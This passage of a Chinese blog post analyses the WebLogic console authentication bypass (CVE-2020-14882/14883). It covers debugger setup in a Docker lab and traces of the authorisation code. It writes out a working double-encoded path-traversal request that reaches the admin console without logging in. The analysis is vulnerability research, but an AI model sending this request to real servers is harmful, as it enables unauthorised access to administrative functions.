&lt;li&gt;&lt;a href="https://lucifaer.com/2020/11/25/WebLogic%20one%20GET%20request%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-14882+CVE-2020-14883%EF%BC%89/"&gt;WebLogic one GET request RCE分析（CVE-2020-14882+CVE-2020-14883）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html"&gt;https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境准备&lt;/h1&gt;
&lt;h2&gt;搭建漏洞环境&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://144.34.164.217/cve-2020-1488214883weblogic-rce.html#qqqHuanJingZhunBei"&gt;漏洞环境的搭建&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外为了远程调试weblogic，我们还需要映射其8453端口&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;version: &amp;#39;2&amp;#39;
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - &amp;quot;7001:7001&amp;quot;
    - &amp;quot;8453:8453&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;配置weblogic远程调试模式&lt;/h2&gt;
&lt;p&gt;容器和宿主机之间复制文件的方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;docker&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;host_path&lt;span class="w"&gt; &lt;/span&gt;containerID:container_path
docker&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;containerID:container_path&lt;span class="w"&gt; &lt;/span&gt;host_path
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;使用上面的命令将docker容器中的&lt;code&gt;/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh&lt;/code&gt;文件复制到宿主机进行编辑：&lt;/p&gt;
&lt;p&gt;注释第138行和141行，中间缩进并新增两行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;debugFlag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;debugFlag
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1606415404139" src="https://s2.loli.net/2024/06/14/Wjd5SNtxF2aBhbq.png"&gt;&lt;/p&gt;
&lt;p&gt;如果嫌上面的操作麻烦的话，可以直接将&lt;a href="https://gitee.com/wochinijiamile/suiyi/blob/masterwersf/setDomainEnv.sh"&gt;此内容&lt;/a&gt;复制到&lt;code&gt;setDomainEnv.sh&lt;/code&gt;文件中，编辑完成后，再拷贝回docker容器中&lt;/p&gt;
&lt;p&gt;然后执行&lt;code&gt;docker restart CONTAINER ID&lt;/code&gt;，weblogic重启之后就会在8453端口开启监听模式&lt;/p&gt;
&lt;p&gt;进入docker容器，将&lt;code&gt;/u01/oracle/wlserver&lt;/code&gt;目录打包（&lt;code&gt;tar -zcvf /tmp/123.tar.gz /u01/oracle/wlserver&lt;/code&gt;），并将该目录下的所有&lt;code&gt;jar&lt;/code&gt;文件一并拷贝至docker容器的&lt;code&gt;/tmp/libs&lt;/code&gt;目录，&lt;code&gt;find ./ -name *.jar -exec cp {} /tmp/libs/ \;&lt;/code&gt;，之后打包拷贝至宿主机&lt;/p&gt;
&lt;p&gt;另外还需要把weblogic自带的JDK目录&lt;code&gt;/usr/java/jdk1.8.0_151&lt;/code&gt;拷贝出来，拷贝方法同上&lt;/p&gt;
&lt;p&gt;weblogic自带的JDK目录位置可以在&lt;code&gt;setDomainEnv.sh&lt;/code&gt;文件中找到：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606412341845" src="https://s2.loli.net/2024/06/14/CBuEUdtFson8bAk.png"&gt;&lt;/p&gt;
&lt;h2&gt;在IDEA中配置项目JDK和依赖库&lt;/h2&gt;
&lt;p&gt;IDEA打开上面复制出来的&lt;code&gt;wlserver&lt;/code&gt;目录，然后配置项目的库&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606410407598" src="https://s2.loli.net/2024/06/14/2Auv86I4jBqg9We.png"&gt;&lt;/p&gt;
&lt;p&gt;配置JDK&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606411648366" src="https://s2.loli.net/2024/06/14/Gral85cHQCdgykz.png"&gt;&lt;/p&gt;
&lt;h2&gt;配置远程调试&lt;/h2&gt;
&lt;p&gt;&lt;img alt="1606411852143" src="https://s2.loli.net/2024/06/14/ukY3tmBGL4dDTnP.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606412424242" src="https://s2.loli.net/2024/06/14/v8askbMoIgEjNtx.png"&gt;&lt;/p&gt;
&lt;p&gt;直接开始调试，如果控制台输出如下信息，则说明配置成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606413528058" src="https://s2.loli.net/2024/06/14/28QFw4eRKWJlYtN.png"&gt;&lt;/p&gt;
&lt;h1&gt;漏洞分析&lt;/h1&gt;
&lt;h2&gt;定位漏洞产生的位置&lt;/h2&gt;
&lt;p&gt;看别人的文章，都是和oracle的官方补丁diff，找到不同的文件来定位漏洞位置，但是我下载不到官方补丁，我没有support账户，这个是要钱的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606706039909" src="https://s2.loli.net/2024/06/14/2gb14ktpD9yCSKn.png"&gt;&lt;/p&gt;
&lt;p&gt;所以只能看&lt;a href="https://lucifaer.com/2020/11/25/WebLogic%20one%20GET%20request%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-14882+CVE-2020-14883%EF%BC%89/"&gt;别人的分析文章&lt;/a&gt;，造个轮子了&lt;/p&gt;
&lt;p&gt;diff（当然是别人diff的&lt;strong&gt;╮(╯_╰)╭）&lt;/strong&gt;之后可以定位到问题是出在&lt;code&gt;wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\handles\HandleFactory.class&lt;/code&gt;和&lt;code&gt;wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\utils\MBeanUtilsInitSingleFileServlet.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果在打开jar文件的时候双击没有反应，只需右键上级目录选中&lt;code&gt;Add as Library...&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606750345349" src="https://s2.loli.net/2024/06/14/joXOlIH73qRAZQC.png"&gt;&lt;/p&gt;
&lt;h2&gt;后台界面代码执行流程&lt;/h2&gt;
&lt;p&gt;既然是绕过后台认证，那我们就先看一下后台认证的整体流程&lt;/p&gt;
&lt;p&gt;首先我们用&lt;code&gt;docker container logs 01f15a45c25c | findstr password&lt;/code&gt;获取weblogic的后台管理密码，&lt;code&gt;01f15a45c25c&lt;/code&gt;是我们的docker容器的&lt;code&gt;CONTAINER ID&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;得到密码后使用weblogic用户登录：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606750800376" src="https://s2.loli.net/2024/06/14/gFVEx6RtOwbLPuG.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到我们后台界面实际上访问的是&lt;code&gt;/console/console.portal&lt;/code&gt;，然后我们查看weblogic后台对应的webapp的web.xml（后台本身也算是一个webapp）&lt;/p&gt;
&lt;p&gt;打开文件&lt;code&gt;wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606751102369" src="https://s2.loli.net/2024/06/14/hIZpFXwa6QuBKeM.png"&gt;&lt;/p&gt;
&lt;p&gt;找到&lt;code&gt;AppManagerServlet&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606751143709" src="https://s2.loli.net/2024/06/14/to2BPOMYs1jVg3H.png"&gt;&lt;/p&gt;
&lt;p&gt;定位到类&lt;code&gt;weblogic.servlet.AsyncInitServlet&lt;/code&gt;：&lt;code&gt;libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\AsyncInitServlet.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们先来调试一下这个类，看一下他大概做了什么事情&lt;/p&gt;
&lt;p&gt;我们都知道像weblogic、tomcat这样的中间件，都有一个叫做servlet的东西，其实就是一个类，一般情况下servlet在web容器启动的时候初始化，或者被调用的时候初始化&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们先在&lt;code&gt;AsyncInitServlet&lt;/code&gt;类的&lt;code&gt;init&lt;/code&gt;方法下断点，IDEA开始调试，然后登录后台，但是并没有触发断点，据此可以判断这个servlet是在容器启动的时候初始化的，执行&lt;code&gt;docker restart 01f15a45c25c&lt;/code&gt;重启容器，然后IDEA开启调试，这时候再去访问后台，可以看到断点被触发&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606753297741" src="https://s2.loli.net/2024/06/14/SopLfuNzO6sMXrK.gif"&gt;&lt;/p&gt;
&lt;p&gt;跟进之后我们可以总结出来这个类中的方法的执行流程：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;init()--&amp;gt;initDelegate()--&amp;gt;createDelegate()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在方法&lt;code&gt;createDelegate&lt;/code&gt;中有如下代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606753610111" src="https://s2.loli.net/2024/06/14/yzeQwLPbDBHmtfV.png"&gt;&lt;/p&gt;
&lt;p&gt;根据web.xml中的内容：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606753685736" src="https://s2.loli.net/2024/06/14/5w9AvF4haUsWrNB.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以知道最终使用&lt;code&gt;Class.forName&lt;/code&gt;实例化了&lt;code&gt;com.bea.console.utils.MBeanUtilsInitSingleFileServlet&lt;/code&gt;类&lt;/p&gt;
&lt;p&gt;取消之前的断点，我们再在&lt;code&gt;AsyncInitServlet&lt;/code&gt;类的&lt;code&gt;service&lt;/code&gt;方法处下断点，然后开启调试，直接访问后台触发断点&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606754781760" src="https://s2.loli.net/2024/06/14/IBKlv3D792tHO15.png"&gt;&lt;/p&gt;
&lt;p&gt;这里的&lt;code&gt;this.delegate&lt;/code&gt;其实就是刚才实例化的&lt;code&gt;com.bea.console.utils.MBeanUtilsInitSingleFileServlet&lt;/code&gt;类，继续跟入&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606754852944" src="https://s2.loli.net/2024/06/14/1EuOfalzdSveTrV.png"&gt;&lt;/p&gt;
&lt;p&gt;继续跟入父类&lt;code&gt;SingleFileServlet&lt;/code&gt;的service方法：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606754909188" src="https://s2.loli.net/2024/06/14/ToSa1fsNDvbducm.png"&gt;&lt;/p&gt;
&lt;p&gt;再跟入&lt;code&gt;SingleFileServlet&lt;/code&gt;的父类&lt;code&gt;UIServlet&lt;/code&gt;的service方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606754976125" src="https://s2.loli.net/2024/06/14/8askKOmBRgfD2dY.png"&gt;&lt;/p&gt;
&lt;p&gt;最终定位到&lt;code&gt;UIServlet&lt;/code&gt;的&lt;code&gt;doPost&lt;/code&gt;方法：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606755074766" src="https://s2.loli.net/2024/06/14/A7XPrcpiBHUF2NS.png"&gt;&lt;/p&gt;
&lt;h2&gt;定位鉴权代码&lt;/h2&gt;
&lt;p&gt;因为漏洞是登录认证绕过，所以我们要找到鉴权的代码来分析漏洞成因&lt;/p&gt;
&lt;p&gt;从调用栈中找到鉴权的代码（&lt;code&gt;doSecuredExecute&lt;/code&gt;方法）：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606755163340" src="https://s2.loli.net/2024/06/14/LhgpIyBYPzV5Cw1.png"&gt;&lt;/p&gt;
&lt;p&gt;权限鉴定的代码位于&lt;code&gt;libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class&lt;/code&gt;的&lt;code&gt;doSecuredExecute&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;删除之前的断点，在该方法下断点，登陆后台触发断点：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606755581115" src="https://s2.loli.net/2024/06/14/MnVJiwsvgkbIWdE.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跟进&lt;code&gt;checkAccess&lt;/code&gt;方法，但是我这里调试的时候直接抛出了异常，而且不知道&lt;code&gt;var7&lt;/code&gt;变量的值，毕竟是反编译过来的，有些地方确实调试不到&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606756784992" src="https://s2.loli.net/2024/06/14/czZ18OyCA7WgQUt.png"&gt;&lt;/p&gt;
&lt;p&gt;我们仔细看try里面的语句可以看到它调用了另一个&lt;code&gt;checkAccess&lt;/code&gt;方法，也是这个类的，只是重载了，参数个数不同，我们这回直接在这一个&lt;code&gt;checkAccess&lt;/code&gt;方法中下断点，然后登陆后台触发断点：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606757065541" src="https://s2.loli.net/2024/06/14/XZJOClGuyBtcKNR.png"&gt;&lt;/p&gt;
&lt;p&gt;第491行，检测&lt;code&gt;checkAllResources&lt;/code&gt;变量的值，从之前的&lt;code&gt;checkAccess&lt;/code&gt;方法的调用语句可以知道传进来的参数值是&lt;code&gt;false&lt;/code&gt;，所以进入&lt;code&gt;getConstraint&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606757411596" src="https://s2.loli.net/2024/06/14/n4SmUBAJbMklsT2.png"&gt;&lt;/p&gt;
&lt;p&gt;这里我们注意一下&lt;code&gt;constraintsMap&lt;/code&gt;变量的值：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606757446341" src="https://s2.loli.net/2024/06/14/b8X5DiUntHaYlFm.png"&gt;&lt;/p&gt;
&lt;p&gt;这个map里的键值对和&lt;code&gt;web.xml&lt;/code&gt;中的&lt;code&gt;security-constraint&lt;/code&gt;节点是对应的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606757585278" src="https://s2.loli.net/2024/06/14/KmcHldO94ZkSPFg.png"&gt;&lt;/p&gt;
&lt;p&gt;上图中的资源都是不需要认证即可访问到的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果我们访问的是除上面之外的url，得到的&lt;code&gt;resourceConstraint&lt;/code&gt;变量的&lt;code&gt;unrestricted&lt;/code&gt;就是false&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606757923569" src="https://s2.loli.net/2024/06/14/nC5Tb7RxidDEfv2.png"&gt;&lt;/p&gt;
&lt;p&gt;下面我们访问weblogic控制台的的图标&lt;code&gt;http://127.0.0.1:7001/console/framework/skins/wlsconsole/images/OracleLogo.png&lt;/code&gt;来触发断点&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758248973" src="https://s2.loli.net/2024/06/14/Rj6PJVH1zrANGYL.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;isAuthorized&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758399889" src="https://s2.loli.net/2024/06/14/bX93hC8Im7KuPf2.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;checkAccess&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758536385" src="https://s2.loli.net/2024/06/14/kspwulHgtxPFX1D.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;checkUserPerm&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758610688" src="https://s2.loli.net/2024/06/14/cdHmPIAOqL7ZM3J.png"&gt;&lt;/p&gt;
&lt;p&gt;该方法的48~60行用于检测用户是否需要重新登陆（session是否过期）&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;hasPermission&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758842761" src="https://s2.loli.net/2024/06/14/nf7lFpwVbYsKogM.png"&gt;&lt;/p&gt;
&lt;p&gt;这里的&lt;code&gt;cons.isUnrestricted()&lt;/code&gt;为&lt;code&gt;true&lt;/code&gt;保证了该方法最终返回&lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606758972304" src="https://s2.loli.net/2024/06/14/8KqHDjdrvLYTlkm.png"&gt;&lt;/p&gt;
&lt;h2&gt;构造url进入UIServlet#doPost&lt;/h2&gt;
&lt;p&gt;根据上面的路由，将请求的url改成&lt;code&gt;http://192.168.60.227:7001/console/css/asd.portal&lt;/code&gt;，可以确保进入该if分支&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606816440480" src="https://s2.loli.net/2024/06/14/OUba3gQcB7ZkTRJ.png"&gt;&lt;/p&gt;
&lt;p&gt;只要我们的url中符合map中的任意一个url模式，就可以使得&lt;code&gt;rcForAllMethods&lt;/code&gt;变量的&lt;code&gt;unrestricted&lt;/code&gt;变量值为&lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606818107215" src="https://s2.loli.net/2024/06/14/39LQUVA8O4ovdwW.png"&gt;&lt;/p&gt;
&lt;p&gt;大家不妨自己尝试一下，如果把请求的改成其他的，比如：&lt;code&gt;http://192.168.60.227:7001/console/wtf/asd.portal&lt;/code&gt;，就不会进入该if分支，但是我们想要进入到&lt;code&gt;UIServlet#doPost&lt;/code&gt;就必须进入该分支，而我们又没有weblogic的后台管理密码，&lt;strong&gt;因此我们需要考虑一下如何构造请求的URL来同时达到进入该if分支并加载正确的servlet&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;进入if分之后，跟到下面这行代码，然后跟入&lt;code&gt;getServletStub&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606819948865" src="https://s2.loli.net/2024/06/14/qKlJCcWBpgUTOZ7.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606820599694" src="https://s2.loli.net/2024/06/14/zKLVGP4HgoBSUpj.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606820631594" src="https://s2.loli.net/2024/06/14/uMPptj5edGsJ7v8.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到sstub的值取决于xml中的配置，因为我们请求的url中包含&lt;code&gt;*.portal&lt;/code&gt;这个模式，所以就交给了&lt;code&gt;weblogic.servlet.AsyncInitServlet&lt;/code&gt;处理&lt;/p&gt;
&lt;p&gt;因此我们现在的url：&lt;code&gt;http://192.168.60.227:7001/console/css/asd.portal&lt;/code&gt;就可以最终到达&lt;code&gt;UIServlet#doPost&lt;/code&gt;，同时参照web.xml文件，&lt;code&gt;http://192.168.60.227:7001/console/images/123.portal&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在初始化完嵌套类&lt;code&gt;WebAppServletContext.ServletInvocationAction&lt;/code&gt;之后，跟入&lt;code&gt;Throwable e = (Throwable)subject.run(action)&lt;/code&gt;，一路跟下去，到达&lt;code&gt;AuthenticatedSubject#doAs&lt;/code&gt;方法，在该方法中，调用了action（初始化之后的&lt;code&gt;WebAppServletContext.ServletInvocationAction&lt;/code&gt;对象）的run方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606823726256" src="https://s2.loli.net/2024/06/14/iuvJa84wBkTF6tp.png"&gt;&lt;/p&gt;
&lt;p&gt;这个地方在调试的时候发现无法跟入，跟前面的情况是一样的，可能也是反编译的原因，我们只有手动去找一下&lt;code&gt;run&lt;/code&gt;方法的实现代码&lt;/p&gt;
&lt;p&gt;我们知道&lt;code&gt;action&lt;/code&gt;变量其实就是&lt;code&gt;ServletInvocationAction&lt;/code&gt;对象，那就找到这个类的代码&lt;code&gt;libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606877746421" src="https://s2.loli.net/2024/06/14/Aw2BvUylJGSmNXi.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到实际的处理代码是&lt;code&gt;wrapRun&lt;/code&gt;方法，最后在该方法中运行web.xml中对应的servlet，这里的&lt;code&gt;this.stub&lt;/code&gt;就是&lt;code&gt;weblogic.servlet.AsyncInitServlet&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606878989927" src="https://s2.loli.net/2024/06/14/eYX9H8KyqpavIT6.png"&gt;&lt;/p&gt;
&lt;h2&gt;分析UIServlet#doPost&lt;/h2&gt;
&lt;p&gt;这部分属于&lt;code&gt;WebLogic Portal Framework&lt;/code&gt;，相关文档：&lt;a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html"&gt;White Paper: WebLogic Portal Framework&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;doPost中的两个关键调用如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606928532540" src="https://s2.loli.net/2024/06/14/nP6xerpukRaWLFN.png"&gt;&lt;/p&gt;
&lt;h3&gt;createUIContext&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;个人理解该方法的作用就是根据请求的内容创建weblogic后台上下文环境&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从&lt;code&gt;createUIContext&lt;/code&gt;跟入到&lt;code&gt;getTree&lt;/code&gt;，再跟入到&lt;code&gt;processStream&lt;/code&gt;，再跟入到&lt;code&gt;singleFileProcessor.getMergedControlFromFile&lt;/code&gt;，再跟入到&lt;code&gt;getControlFactoryFromFile&lt;/code&gt;，再跟入到&lt;code&gt;getControlFactoryFromFileWithoutCaching&lt;/code&gt;，最后在webapp目录下找到我们请求的portal文件，将文件流和sax转换器传进去进行解析，返回结果&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606928123594" src="https://s2.loli.net/2024/06/14/SpnHZ5UxP13LtGV.png"&gt;&lt;/p&gt;
&lt;p&gt;如果在调试过程中发现上面提到的执行流程中有些方法未被调用，可以尝试重启docker容器，然后重新进行调试，因为上面提到的方法中有一部分只会在console第一次部署时被调用，可能是因为缓存的缘故导致后面再访问就不会再使用SAX解析器进行解析了&lt;/p&gt;
&lt;p&gt;在上面的执行流程中导致目录穿越的代码位置为：&lt;code&gt;ibs\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606928747868" src="https://s2.loli.net/2024/06/14/xtYBDOHJL2UPdVr.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;URLDecoder.decode&lt;/code&gt;执行完成后，我们的url路径(&lt;code&gt;css/%2e%2e%2f&lt;/code&gt;)被再次解码，最终变成&lt;code&gt;css/../consolejndi.portal&lt;/code&gt;，导致目录穿越&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606928829835" src="https://s2.loli.net/2024/06/14/bLtEcBnS1muPFYJ.png"&gt;&lt;/p&gt;
&lt;h3&gt;runLifecycle&lt;/h3&gt;
&lt;p&gt;该方法用于完成上面&lt;code&gt;createUIContext&lt;/code&gt;解析后的模板的渲染工作&lt;/p&gt;
&lt;p&gt;跟如该方法，继续跟入run方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606965958611" src="https://s2.loli.net/2024/06/14/DkviVdRLeOutZG3.png"&gt;&lt;/p&gt;
&lt;p&gt;在这里有一个if语句，我么可以看到if和else的差别仅在于&lt;code&gt;this.runInbound(context)&lt;/code&gt;是否被执行&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606965984530" src="https://s2.loli.net/2024/06/14/BCIncrtXOmyK7QP.png"&gt;&lt;/p&gt;
&lt;p&gt;这里的if语句判断条件前者我们已经满足，后面的&lt;code&gt;context.isPostback()&lt;/code&gt;我们是不满足的，这个其实就是在判断&lt;code&gt;UIContext&lt;/code&gt;对象的&lt;code&gt;isPostback&lt;/code&gt;成员是否为&lt;code&gt;true&lt;/code&gt;，而这个成员变量是在 下面这个位置&lt;code&gt;libs\netuix_servlet.jar!\com\bea\netuix\nf\UIContext.class#setServletRequest&lt;/code&gt;设置的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606966303946" src="https://s2.loli.net/2024/06/14/OP3Hl1poZbuWnYr.png"&gt;&lt;/p&gt;
&lt;p&gt;我们只要在发包的时候满足上面的任意一个条件即可将&lt;code&gt;isPostback&lt;/code&gt;的值变为true，下面我们将请求进行更改，然后跟进&lt;code&gt;this.runInbound(context)&lt;/code&gt;看其是否对漏洞触发存在影响&lt;/p&gt;
&lt;p&gt;更改后的请求为&lt;code&gt;http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_nfpb=true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;跟进之后我们可以发现if分支比else分支多执行了一次&lt;code&gt;processLifecycles(i, types, root, context, walkerPool)&lt;/code&gt;，且在&lt;code&gt;runOutbound&lt;/code&gt;方法中&lt;code&gt;isPostback&lt;/code&gt;依然会影响&lt;code&gt;types&lt;/code&gt;变量的值&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606968696650" src="https://s2.loli.net/2024/06/14/Xs5WY3AtVhIKxw8.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;VistorType&lt;/code&gt;数组的定义如下：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libs\netuix_servlet.jar!\com\bea\netuix\nf\Lifecycle.class&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;inboundLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadStateVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;raiseEventsVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;outboundLifecycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;preRenderVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveStateVisitorType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VisitorType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;renderVisitorType&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
